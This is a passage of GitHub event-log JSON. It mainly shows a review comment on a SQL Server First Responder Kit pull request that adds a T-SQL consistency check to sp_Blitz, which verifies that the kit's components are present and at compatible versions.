{/repo}","subscriptions_url":"https://api.github.com/users/lampepfl/subscriptions","organizations_url":"https://api.github.com/users/lampepfl/orgs","repos_url":"https://api.github.com/users/lampepfl/repos","events_url":"https://api.github.com/users/lampepfl/events{/privacy}","received_events_url":"https://api.github.com/users/lampepfl/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/lampepfl/dotty","description":"Research compiler that will become Scala 3","fork":false,"url":"https://api.github.com/repos/lampepfl/dotty","forks_url":"https://api.github.com/repos/lampepfl/dotty/forks","keys_url":"https://api.github.com/repos/lampepfl/dotty/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lampepfl/dotty/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lampepfl/dotty/teams","hooks_url":"https://api.github.com/repos/lampepfl/dotty/hooks","issue_events_url":"https://api.github.com/repos/lampepfl/dotty/issues/events{/number}","events_url":"https://api.github.com/repos/lampepfl/dotty/events","assignees_url":"https://api.github.com/repos/lampepfl/dotty/assignees{/user}","branches_url":"https://api.github.com/repos/lampepfl/dotty/branches{/branch}","tags_url":"https://api.github.com/repos/lampepfl/dotty/tags","blobs_url":"https://api.github.com/repos/lampepfl/dotty/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lampepfl/dotty/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lampepfl/dotty/git/refs{/sha}","trees_url":"https://api.github.com/repos/lampepfl/dotty/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lampepfl/dotty/statuses/{sha}","languages_url":"https://api.github.com/repos/lampepfl/dotty/languages","stargazers_url":"https://api.github.com/repos/lampepfl/dotty/stargazers","contributors_url":"https://api.github.com/repos/lampepfl/dotty/contributors","subscribers_url":"https://api.github.com/repos/lampepfl/dotty/subscribers","subscription_url":"https://api.github.com/repos/lampepfl/dotty/subscription","commits_url":"https://api.github.com/repos/lampepfl/dotty/commits{/sha}","git_commits_url":"https://api.github.com/repos/lampepfl/dotty/git/commits{/sha}","comments_url":"https://api.github.com/repos/lampepfl/dotty/comments{/number}","issue_comment_url":"https://api.github.com/repos/lampepfl/dotty/issues/comments{/number}","contents_url":"https://api.github.com/repos/lampepfl/dotty/contents/{+path}","compare_url":"https://api.github.com/repos/lampepfl/dotty/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lampepfl/dotty/merges","archive_url":"https://api.github.com/repos/lampepfl/dotty/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lampepfl/dotty/downloads","issues_url":"https://api.github.com/repos/lampepfl/dotty/issues{/number}","pulls_url":"https://api.github.com/repos/lampepfl/dotty/pulls{/number}","milestones_url":"https://api.github.com/repos/lampepfl/dotty/milestones{/number}","notifications_url":"https://api.github.com/repos/lampepfl/dotty/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lampepfl/dotty/labels{/name}","releases_url":"https://api.github.com/repos/lampepfl/dotty/releases{/id}","deployments_url":"https://api.github.com/repos/lampepfl/dotty/deployments","created_at":"2012-12-06T12:57:33Z","updated_at":"2019-10-09T14:52:46Z","pushed_at":"2019-10-09T18:15:43Z","git_url":"git://github.com/lampepfl/dotty.git","ssh_url":"git@github.com:lampepfl/dotty.git","clone_url":"https://github.com/lampepfl/dotty.git","svn_url":"https://github.com/lampepfl/dotty","homepage":"https://dotty.epfl.ch","size":68198,"stargazers_count":3599,"watchers_count":3599,"language":"Scala","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":543,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":483,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":543,"open_issues":483,"watchers":3599,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/lampepfl/dotty/pulls/6344"},"html":{"href":"https://github.com/lampepfl/dotty/pull/6344"},"issue":{"href":"https://api.github.com/repos/lampepfl/dotty/issues/6344"},"comments":{"href":"https://api.github.com/repos/lampepfl/dotty/issues/6344/comments"},"review_comments":{"href":"https://api.github.com/repos/lampepfl/dotty/pulls/6344/comments"},"review_comment":{"href":"https://api.github.com/repos/lampepfl/dotty/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/lampepfl/dotty/pulls/6344/commits"},"statuses":{"href":"https://api.github.com/repos/lampepfl/dotty/statuses/19925a50a0d1d501da364c81244ab28ca484d060"}},"author_association":"COLLABORATOR"}}
|
{
"id": 7035651,
"name": "lampepfl/dotty",
"url": "https://api.github.com/repos/lampepfl/dotty"
}
|
{
"id": 1782179,
"login": "abeln",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1782179?",
"url": "https://api.github.com/users/abeln"
}
|
{
"id": 2684793,
"login": "lampepfl",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2684793?",
"url": "https://api.github.com/orgs/lampepfl"
}
| 2019-10-09T18:57:14 |
10595424889
|
{"actor":{"display_login":"abeln"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/comments/267586689","pull_request_review_id":217030835,"id":267586689,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2NzU4NjY4OQ==","diff_hunk":"@@ -4256,6 +4328,511 @@ IF @ProductVersionMajor >= 10\n \n \t\t\t\t\tEND;\n \t\t\t\t\tEND;\n+ \n+/*This checks that First Responder Kit is consistent. \n+It assumes that all the objects of the kit resides in the same database, the one in which this SP is stored\n+It also is ready to check for installation in another schema.\n+*/\n+IF(\n+ NOT EXISTS ( \n+ SELECT 1\n+ FROM #SkipChecks\n+ WHERE DatabaseName IS NULL AND CheckID = 2000 \n+ )\n+)\n+BEGIN\n+\n+ IF @Debug IN (1, 2) RAISERROR('Running check with id %d',0,1,2000);\n+\n+ SET @spBlitzFullName = QUOTENAME(DB_NAME()) + '.' +QUOTENAME(OBJECT_SCHEMA_NAME(@@PROCID)) + '.' + QUOTENAME(OBJECT_NAME(@@PROCID));\n+ SET @BlitzIsOutdatedComparedToOthers = 0;\n+ SET @tsql = NULL;\n+ SET @VersionCheckModeExistsTSQL = NULL;\n+ SET @BlitzProcDbName = DB_NAME();\n+ SET @ExecRet = NULL;\n+ SET @InnerExecRet = NULL;\n+ SET @TmpCnt = NULL;\n+\n+ SET @PreviousComponentName = NULL;\n+ SET @PreviousComponentFullPath = NULL;\n+ SET @CurrentStatementId = NULL;\n+ SET @CurrentComponentSchema = NULL;\n+ SET @CurrentComponentName = NULL;\n+ SET @CurrentComponentType = NULL;\n+ SET @CurrentComponentVersionDate = NULL;\n+ SET @CurrentComponentFullName = NULL;\n+ SET @CurrentComponentMandatory = NULL;\n+ SET @MaximumVersionDate = NULL;\n+\n+ SET @StatementCheckName = NULL;\n+ SET @StatementOutputsCounter = NULL;\n+ SET @OutputCounterExpectedValue = NULL;\n+ SET @StatementOutputsExecRet = NULL;\n+ SET @StatementOutputsDateTime = NULL;\n+\n+ SET @CurrentComponentMandatoryCheckOK = NULL;\n+ SET @CurrentComponentVersionCheckModeOK = NULL;\n+\n+ SET @canExitLoop = 0;\n+ SET @frkIsConsistent = 0;\n+\n+\n+ SET @tsql = 'USE ' + QUOTENAME(@BlitzProcDbName) + ';' + @crlf +\n+ 'WITH FRKComponents (' + @crlf +\n+ ' ObjectName,' + @crlf +\n+ ' ObjectType,' + @crlf +\n+ ' MandatoryComponent' + @crlf +\n+ ')' + @crlf +\n+ 'AS (' + @crlf +\n+ ' SELECT ''sp_AllNightLog'',''P'' ,0' + @crlf +\n+ ' UNION ALL' + @crlf +\n+ ' SELECT ''sp_AllNightLog_Setup'', ''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_Blitz'',''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_BlitzBackups'',''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_BlitzCache'',''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_BlitzFirst'',''P'',0' + @crlf +\n+ ' UNION ALL' + @crlf +\n+ ' SELECT ''sp_BlitzInMemoryOLTP'',''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_BlitzIndex'',''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_BlitzLock'',''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_BlitzQueryStore'',''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_BlitzWho'',''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_DatabaseRestore'',''P'',0' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_foreachdb'',''P'',1' + @crlf +\n+ ' UNION ALL ' + @crlf +\n+ ' SELECT ''sp_ineachdb'',''P'',1' + @crlf +\n+ ' UNION ALL' + @crlf +\n+ ' SELECT ''SqlServerVersions'',''U'',1' + @crlf +\n+ ')' + @crlf +\n+ 'INSERT INTO #FRKObjects (' + @crlf +\n+ ' DatabaseName,ObjectSchemaName,ObjectName, ObjectType,MandatoryComponent' + @crlf +\n+ ')' + @crlf +\n+ 'SELECT DB_NAME(),SCHEMA_NAME(o.schema_id), c.ObjectName,c.ObjectType,c.MandatoryComponent' + @crlf +\n+ 'FROM ' + @crlf +\n+ ' FRKComponents c' + @crlf +\n+ 'LEFT JOIN ' + @crlf +\n+ ' sys.objects o' + @crlf +\n+ 'ON c.ObjectName = o.[name]' + @crlf +\n+ 'AND c.ObjectType = o.[type]' + @crlf +\n+ --'WHERE o.schema_id IS NOT NULL' + @crlf +\n+ ';'\n+ ;\n+\n+ EXEC @ExecRet = sp_executesql @tsql ;\n+\n+ -- TODO: add check for statement success\n+\n+ -- TODO: based on SP requirements and presence (SchemaName is not null) ==> update MandatoryComponent column\n+\n+ -- Filling #StatementsToRun4FRKVersionCheck \n+ INSERT INTO #StatementsToRun4FRKVersionCheck (\n+ CheckName,StatementText,SubjectName,SubjectFullPath, StatementOutputsCounter,OutputCounterExpectedValue,StatementOutputsExecRet,StatementOutputsDateTime\n+ )\n+ SELECT \n+ 'Mandatory',\n+ 'SELECT @cnt = COUNT(*) FROM #FRKObjects WHERE ObjectSchemaName IS NULL AND ObjectName = ''' + ObjectName + ''' AND MandatoryComponent = 1;',\n+ ObjectName,\n+ QUOTENAME(DatabaseName) + '.' + QUOTENAME(ObjectSchemaName) + '.' + QUOTENAME(ObjectName),\n+ 1,\n+ 0,\n+ 0,\n+ 0\n+ FROM #FRKObjects\n+ UNION ALL \n+ SELECT \n+ 'VersionCheckMode',\n+ 'SELECT @cnt = COUNT(*) FROM ' + \n+ QUOTENAME(DatabaseName) + '.sys.all_parameters ' + \n+ 'where object_id = OBJECT_ID(''' + QUOTENAME(DatabaseName) + '.' + QUOTENAME(ObjectSchemaName) + '.' + QUOTENAME(ObjectName) + ''') AND [name] = ''@VersionCheckMode'';',\n+ ObjectName,\n+ QUOTENAME(DatabaseName) + '.' + QUOTENAME(ObjectSchemaName) + '.' + QUOTENAME(ObjectName),\n+ 1,\n+ 1,\n+ 0,\n+ 0\n+ FROM #FRKObjects\n+ WHERE ObjectType = 'P' \n+ AND ObjectSchemaName IS NOT NULL\n+ UNION ALL\n+ SELECT \n+ 'VersionCheck',\n+ 'EXEC @ExecRet = ' + QUOTENAME(DatabaseName) + '.' + QUOTENAME(ObjectSchemaName) + '.' + QUOTENAME(ObjectName) + ' @VersionCheckMode = 1 , @VersionDate = @ObjDate OUTPUT;',\n+ ObjectName,\n+ QUOTENAME(DatabaseName) + '.' + QUOTENAME(ObjectSchemaName) + '.' + QUOTENAME(ObjectName),\n+ 0,\n+ 0,\n+ 1,\n+ 1\n+ FROM #FRKObjects\n+ WHERE ObjectType = 'P' \n+ AND ObjectSchemaName IS NOT NULL\n+ ;\n+ IF(@Debug in (1,2))\n+ BEGIN\n+ SELECT * \n+ FROM #StatementsToRun4FRKVersionCheck ORDER BY SubjectName,SubjectFullPath,StatementId -- in case of schema change ;\n+ END;\n+ \n+ \n+ -- loop on queries...\n+ WHILE(@canExitLoop = 0)\n+ BEGIN\n+ SET @CurrentStatementId = NULL;\n+\n+ SELECT TOP 1\n+ @StatementCheckName = CheckName,\n+ @CurrentStatementId = StatementId ,\n+ @CurrentComponentName = SubjectName,\n+ @CurrentComponentFullName = SubjectFullPath,\n+ @tsql = StatementText,\n+ @StatementOutputsCounter = StatementOutputsCounter,\n+ @OutputCounterExpectedValue = OutputCounterExpectedValue ,\n+ @StatementOutputsExecRet = StatementOutputsExecRet,\n+ @StatementOutputsDateTime = StatementOutputsDateTime\n+ FROM #StatementsToRun4FRKVersionCheck\n+ ORDER BY SubjectName, SubjectFullPath,StatementId /* in case of schema change */\n+ ;\n+\n+ -- loop exit condition\n+ IF(@CurrentStatementId IS NULL)\n+ BEGIN\n+ BREAK;\n+ END;\n+\n+ IF @Debug IN (1, 2) RAISERROR(' Statement: %s',0,1,@tsql);\n+\n+ -- we start a new component\n+ IF(@PreviousComponentName IS NULL OR \n+ (@PreviousComponentName IS NOT NULL AND @PreviousComponentName <> @CurrentComponentName) OR\n+ (@PreviousComponentName IS NOT NULL AND @PreviousComponentName = @CurrentComponentName AND @PreviousComponentFullPath <> @CurrentComponentFullName)\n+ )\n+ BEGIN\n+ -- reset variables\n+ SET @CurrentComponentMandatoryCheckOK = 0;\n+ SET @CurrentComponentVersionCheckModeOK = 0;\n+ SET @PreviousComponentName = @CurrentComponentName;\n+ SET @PreviousComponentFullPath = @CurrentComponentFullName ;\n+ END;\n+\n+ IF(@StatementCheckName NOT IN ('Mandatory','VersionCheckMode','VersionCheck'))\n+ BEGIN\n+ INSERT INTO #BlitzResults( \n+ CheckID ,\n+ Priority ,\n+ FindingsGroup ,\n+ Finding ,\n+ URL ,\n+ Details\n+ )\n+ SELECT \n+ 2000 AS CheckID ,\n+ 1 AS Priority ,\n+ 'Reliability' AS FindingsGroup ,\n+ 'First Responder kit consistency check has been unexpectedly modified (check names)' AS Finding ,\n+ 'https://www.BrentOzar.com/blitz/' AS URL ,\n+ 'First Responder kit consistency check failed because a change has been made to code generator and the handling code has not been adapted' + @crlf +\n+ 'Error: No handler for check with name \"' + ISNULL(@StatementCheckName,'') + '\"' AS Details\n+ ;\n+ \n+ -- we will stop the test because it's possible to get the same message for other components\n+ SET @canExitLoop = 1;\n+ CONTINUE;\n+ END;\n+\n+ IF(@StatementCheckName = 'Mandatory')\n+ BEGIN\n+\n+ EXEC @ExecRet = sp_executesql @tsql, N'@cnt INT OUTPUT',@cnt = @TmpCnt OUTPUT;\n+\n+ IF(@ExecRet <> 0)\n+ BEGIN\n+ \n+ INSERT INTO #BlitzResults( \n+ CheckID ,\n+ Priority ,\n+ FindingsGroup ,\n+ Finding ,\n+ URL ,\n+ Details\n+ )\n+ SELECT \n+ 2000 AS CheckID ,\n+ 1 AS Priority ,\n+ 'Reliability' AS FindingsGroup ,\n+ 'First Responder kit consistency check has been unexpectedly modified (dynamic query failure)' AS Finding ,\n+ 'https://www.BrentOzar.com/blitz/' AS URL ,\n+ 'First Responder kit consistency check failed because a change has been made to code generator' + @crlf +\n+ 'Error: following query failed at execution (check if component [' + ISNULL(@CurrentComponentName,@CurrentComponentName) + '] is mandatory and missing)' + @crlf +\n+ @tsql AS Details\n+ ;\n+ \n+ -- we will stop the test because it's possible to get the same message for other components\n+ SET @canExitLoop = 1;\n+ CONTINUE;\n+ END;\n+\n+ IF(@TmpCnt <> @OutputCounterExpectedValue)\n+ BEGIN\n+ INSERT INTO #BlitzResults( \n+ CheckID ,\n+ Priority ,\n+ FindingsGroup ,\n+ Finding ,\n+ URL ,\n+ Details\n+ )\n+ SELECT \n+ 2000 AS CheckID ,\n+ 1 AS Priority ,\n+ 'Features' AS FindingsGroup ,\n+ 'First Responder kit mandatory component called \"' + @CurrentComponentName + '\" is missing' AS Finding ,\n+ 'https://www.BrentOzar.com/blitz/' AS URL ,\n+ NULL AS Details\n+ ;\n+ \n+ -- as it's missing, no value for SubjectFullPath\n+ DELETE FROM #StatementsToRun4FRKVersionCheck WHERE SubjectName = @CurrentComponentName ;\n+ CONTINUE;\n+ END;\n+\n+ SET @CurrentComponentMandatoryCheckOK = 1;\n+ END;\n+ \n+ IF(@StatementCheckName = 'VersionCheckMode')\n+ BEGIN\n+ IF(@CurrentComponentMandatoryCheckOK = 0)\n+ BEGIN\n+ INSERT INTO #BlitzResults( \n+ CheckID ,\n+ Priority ,\n+ FindingsGroup ,\n+ Finding ,\n+ URL ,\n+ Details\n+ )\n+ SELECT \n+ 2000 AS CheckID ,\n+ 1 AS Priority ,\n+ 'Reliability' AS FindingsGroup ,\n+ 'First Responder kit consistency check has been unexpectedly modified (checks ordering)' AS Finding ,\n+ 'https://www.BrentOzar.com/blitz/' AS URL ,\n+ 'First Responder kit consistency check failed because \"Mandatory\" check has not been completed before for current component' + @crlf +\n+ 'Error: version check mode happenned before \"Mandatory\" check for component called \"' + @CurrentComponentFullName + '\"'\n+ ;\n+ \n+ -- we will stop the test because it's possible to get the same message for other components\n+ SET @canExitLoop = 1;\n+ CONTINUE;\n+ END;\n+\n+ EXEC @ExecRet = sp_executesql @tsql, N'@cnt INT OUTPUT',@cnt = @TmpCnt OUTPUT;\n+\n+ IF(@ExecRet <> 0)\n+ BEGIN\n+ INSERT INTO #BlitzResults( \n+ CheckID ,\n+ Priority ,\n+ FindingsGroup ,\n+ Finding ,\n+ URL ,\n+ Details\n+ )\n+ SELECT \n+ 2000 AS CheckID ,\n+ 1 AS Priority ,\n+ 'Reliability' AS FindingsGroup ,\n+ 'First Responder kit consistency check has been unexpectedly modified (dynamic query failure)' AS Finding ,\n+ 'https://www.BrentOzar.com/blitz/' AS URL ,\n+ 'First Responder kit consistency check failed because a change has been made to code generator' + @crlf +\n+ 'Error: following query failed at execution (check if component [' + @CurrentComponentFullName + '] can run in VersionCheckMode)' + @crlf +\n+ @tsql AS Details\n+ ;\n+ \n+ -- we will stop the test because it's possible to get the same message for other components\n+ SET @canExitLoop = 1;\n+ CONTINUE;\n+ END;\n+\n+ IF(@TmpCnt <> @OutputCounterExpectedValue)\n+ BEGIN\n+ INSERT INTO #BlitzResults( \n+ CheckID ,\n+ Priority ,\n+ FindingsGroup ,\n+ Finding ,\n+ URL ,\n+ Details\n+ )\n+ SELECT \n+ 2000 AS CheckID ,\n+ 1 AS Priority ,\n+ 'Reliability' AS FindingsGroup ,\n+ 'Component ' + @CurrentComponentFullName + ' is not at the minimum version required to run this procedure' AS Finding ,\n+ 'https://www.BrentOzar.com/blitz/' AS URL ,\n+ 'VersionCheckMode has been introduced in component version date \"20190219\". This means its version is from before that date.' AS Details;\n+ ; ","path":"sp_Blitz.sql","position":455,"original_position":455,"commit_id":"4a85575f11a8ace060c270dffd4d6460f255a2c4","original_commit_id":"4a85575f11a8ace060c270dffd4d6460f255a2c4","user":{"login":"BrentOzar","id":245462,"node_id":"MDQ6VXNlcjI0NTQ2Mg==","avatar_url":"https://avatars0.githubusercontent.com/u/245462?v=4","gravatar_id":"","url":"https://api.github.com/users/BrentOzar","html_url":"https://github.com/BrentOzar","followers_url":"https://api.github.com/users/BrentOzar/followers","following_url":"https://api.github.com/users/BrentOzar/following{/other_user}","gists_url":"https://api.github.com/users/BrentOzar/gists{/gist_id}","starred_url":"https://api.github.com/users/BrentOzar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BrentOzar/subscriptions","organizations_url":"https://api.github.com/users/BrentOzar/orgs","repos_url":"https://api.github.com/users/BrentOzar/repos","events_url":"https://api.github.com/users/BrentOzar/events{/privacy}","received_events_url":"https://api.github.com/users/BrentOzar/received_events","type":"User","site_admin":false},"body":"I would just flag the component as out of date and move on - if sp_Blitz has this code, and the other procs aren't at a compatible version, then you know you've got a mismatch. No need for a separate CheckID there, too, nice bonus.","created_at":"2019-03-20T23:33:41Z","updated_at":"2019-03-20T23:35:01Z","html_url":"https://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit/pull/1997#discussion_r267586689","pull_request_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/1997","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/comments/267586689"},"html":{"href":"https://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit/pull/1997#discussion_r267586689"},"pull_request":{"href":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/1997"}}},"pull_request":{"url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/1997","id":262040808,"node_id":"MDExOlB1bGxSZXF1ZXN0MjYyMDQwODA4","html_url":"https://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit/pull/1997","diff_url":"https://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit/pull/1997.diff","patch_url":"https://github.com/BrentOzarULTD/SQL-Server-First-Responder-Kit/pull/1997.patch","issue_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/issues/1997","number":1997,"state":"open","locked":false,"title":"First responder consistency check","user":{"login":"jeffchulg","id":1788348,"node_id":"MDQ6VXNlcjE3ODgzNDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1788348?v=4","gravatar_id":"","url":"https://api.github.com/users/jeffchulg","html_url":"https://github.com/jeffchulg","followers_url":"https://api.github.com/users/jeffchulg/followers","following_url":"https://api.github.com/users/jeffchulg/following{/other_user}","gists_url":"https://api.github.com/users/jeffchulg/gists{/gist_id}","starred_url":"https://api.github.com/users/jeffchulg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jeffchulg/subscriptions","organizations_url":"https://api.github.com/users/jeffchulg/orgs","repos_url":"https://api.github.com/users/jeffchulg/repos","events_url":"https://api.github.com/users/jeffchulg/events{/privacy}","received_events_url":"https://api.github.com/users/jeffchulg/received_events","type":"User","site_admin":false},"body":"Addresses #1994 \r\n\r\nTested on SQL Server 2008 R2 and 2014 with missing components.\r\n\r\nI added the schema name in the equation because I'm transferring all the First Responder Kit objects to another schema (FirstResponderKit) with a custom PS script. \r\n\r\nIt's possible, for instance for testing purpose, that objects resides in both 'FirstResponderKit' and 'dbo' schemas.\r\n\r\nThe main idea here was to generate the set of commands to be executed so that the overhead of adding a new object is minimal.\r\n\r\nAs I'm writing, it would also be easy to add to this check the capability to pinpoint depreciated components (like sp_BlitzTrace), but this would be the subject of another pull request.","created_at":"2019-03-18T12:46:43Z","updated_at":"2019-03-20T23:35:00Z","closed_at":null,"merged_at":null,"merge_commit_sha":"c02188e4d37133459b50eb748582cce2cafb2e97","assignee":{"login":"jeffchulg","id":1788348,"node_id":"MDQ6VXNlcjE3ODgzNDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1788348?v=4","gravatar_id":"","url":"https://api.github.com/users/jeffchulg","html_url":"https://github.com/jeffchulg","followers_url":"https://api.github.com/users/jeffchulg/followers","following_url":"https://api.github.com/users/jeffchulg/following{/other_user}","gists_url":"https://api.github.com/users/jeffchulg/gists{/gist_id}","starred_url":"https://api.github.com/users/jeffchulg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jeffchulg/subscriptions","organizations_url":"https://api.github.com/users/jeffchulg/orgs","repos_url":"https://api.github.com/users/jeffchulg/repos","events_url":"https://api.github.com/users/jeffchulg/events{/privacy}","received_events_url":"https://api.github.com/users/jeffchulg/received_events","type":"User","site_admin":false},"assignees":[{"login":"jeffchulg","id":1788348,"node_id":"MDQ6VXNlcjE3ODgzNDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1788348?v=4","gravatar_id":"","url":"https://api.github.com/users/jeffchulg","html_url":"https://github.com/jeffchulg","followers_url":"https://api.github.com/users/jeffchulg/followers","following_url":"https://api.github.com/users/jeffchulg/following{/other_user}","gists_url":"https://api.github.com/users/jeffchulg/gists{/gist_id}","starred_url":"https://api.github.com/users/jeffchulg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jeffchulg/subscriptions","organizations_url":"https://api.github.com/users/jeffchulg/orgs","repos_url":"https://api.github.com/users/jeffchulg/repos","events_url":"https://api.github.com/users/jeffchulg/events{/privacy}","received_events_url":"https://api.github.com/users/jeffchulg/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/1997/commits","review_comments_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/1997/comments","review_comment_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/pulls/comments{/number}","comments_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/issues/1997/comments","statuses_url":"https://api.github.com/repos/BrentOzarULTD/SQL-Server-First-Responder-Kit/statuses/4a85575f11a8ace060c270dffd4d6460f255a2c4","head":{"label":"jeffchulg:dev","ref":"dev","sha":"4a85575f11a8ace060c270dffd4d6460f255a2c4","user":{"login":"jeffchulg","id":1788348,"node_id":"MDQ6VXNlcjE3ODgzNDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1788348?v=4","gravatar_id":"","url":"https://api.github.com/users/jeffchulg","html_url":"https://github.com/jeffchulg","followers_url":"https://api.github.com/users/jeffchulg/followers","following_url":"https://api.github.com/users/jeffchulg/following{/other_user}","gists_url":"https://api.github.com/users/jeffchulg/gists{/gist_id}","starred_url":"https://api.github.com/users/jeffchulg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jeffchulg/subscriptions","organizations_url":"https://api.github.com/users/jeffchulg/orgs","repos_url":"https://api.github.com/users/jeffchulg/repos","events_url":"https://api.github.com/users/jeffchulg/events{/privacy}","received_events_url":"https://api.github.com/users/jeffchulg/received_events","type":"User","site_admin":false},"repo":{"id":176250039,"node_id":"MDEwOlJlcG9zaXRvcnkxNzYyNTAwMzk=","name":"SQL-Server-First-Responder-Kit","full_name":"jeffchulg/SQL-Server-First-Responder-Kit","private":false,"owner":{"login":"jeffchulg","id":1788348,"node_id":"MDQ6VXNlcjE3ODgzNDg=","avatar_url":"https://avatars1.githubusercontent.com/u/1788348?v=4","gravatar_id":"","url":"https://api.github.com/users/jeffchulg","html_url":"https://github.com/jeffchulg","followers_url":"https://api.github.com/users/jeffchulg/followers","following_url":"https://api.github.com/users/jeffchulg/following{/other_user}","gists_url":"https://api.github.com/users/jeffchulg/gists{/gist_id}","starred_url":"https://api.github.com/users/jeffchulg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jeffchulg/subscriptions","organizations_url":"https://api.github.com/users/jeffchulg/orgs","repos_url":"https://api.github.com/users/jeffchulg/repos","events_url":"https://api.github.com/users/jeffchulg/events{/privacy}","received_events_url":"https://api.github.com/users/jeffchulg/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jeffchulg/SQL-Server-First-Responder-Kit","description":"sp_Blitz, sp_BlitzCache, sp_BlitzFirst, sp_BlitzIndex, and other SQL Server scripts for health checks and performance tuning.","fork":true,"url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit","forks_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/forks","keys_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/teams","hooks_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/hooks","issue_events_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/issues/events{/number}","events_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/events","assignees_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/assignees{/user}","branches_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/branches{/branch}","tags_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/tags","blobs_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/git/refs{/sha}","trees_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/statuses/{sha}","languages_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/languages","stargazers_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/stargazers","contributors_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/contributors","subscribers_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/subscribers","subscription_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/subscription","commits_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/commits{/sha}","git_commits_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/git/commits{/sha}","comments_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/comments{/number}","issue_comment_url":"https://api.github.com/repos/jeffchulg/SQL-Server-First-Responder-Kit/issues/